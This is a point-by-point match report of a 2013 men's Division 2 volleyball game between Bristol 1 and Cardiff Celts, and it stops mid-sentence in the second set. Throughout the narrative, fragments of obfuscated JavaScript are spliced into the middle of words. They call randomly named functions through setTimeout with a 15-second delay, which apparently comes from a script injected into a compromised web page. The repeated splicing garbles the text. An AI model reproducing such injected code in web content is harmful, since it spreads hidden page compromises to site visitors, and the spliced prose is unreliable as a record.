Men’s Division 2 Volleyball South Cardiff Celts vs Bristol 1

November 9, 2013 in Bristol, South West, Volleyball

Abbeywood Community School hosted the Bristol 1 home game against the Cardiff Celts.

Cardiff were ahead of Bristol in the standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andings going into this matchup having played more games.

Bristol looked in good shape andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ready for the challenge in the shape of today’s visitors.

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Bristol opened the scoring on the Cardiff serve followed by great blocking. 3-2 Bristol.

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Bristol’s attack came in waves, dummy spikes throwing the Cardiff defence. The Celts kept putting up a wall, snagging a great block to keep the score close. Bristol 6, Cardiff 5.

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Despite Cardiff’s communication on defence, Bristol started to pull out a small lead. 13-6 to Bristol. Cardiff call a time out.

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Bristol put in a wayward serve, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Cardiff’s attack starts to find it’s mark. 14-8 to Bristol 1.

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The power andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and accuracy of Bristol’s spikes had been impressive. Another one found the floor, 15-9 Bristol. Cardiff picked up a point off the Bristol block, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the Celts put their bodies on the line in an attempt to save the unsaveable. Bristol 16, Cardiff 10.

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Both teams entered a debate with the umpire over a perceived double touch, but Bristol lost the argument. Bristol 16, Cardiff 11. Bristol made up for it with another fantastic block. 18-11 to Bristol.

Cardiff worked hard to keep rallies alive, their perseverance paying off when Bristol put the ball wide at the end of a particularly long rally. Bristol 19, Cardiff 13.

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Consecutive spikes by Bristol brought the score to 21-13 in their favour. Bristol continued to pile on the pressure to see out the first set 25-16.

The teams prowled the perimeter at the change of ends, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and it was Bristol who leapt first in the second set. 1-0 Bristol.

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Cardiff took the lead with a darting spike to make the score 2-1. Bristol were comfortable keeping in touch with the opposition, eventually seeing the score flip over to 4-4.

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No. 1 for Bristol laid down the team’s intent with a huge spike to take back the lead. Bristol 5, Cardiff 4.

Bristol continued on to 8-6, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and that was enough for Cardiff to call a time out. Bristol had too much firepower at the net, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pushed on to a 11-9 lead. Their defence picked up where the attack left off. Another massive block from Bristol andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and it was 14-10.

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Bristol found their stride coming out of a time out, stretching their lead to 20-13. Bristol added another point, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and that was enough for the Celts to huddle in a time out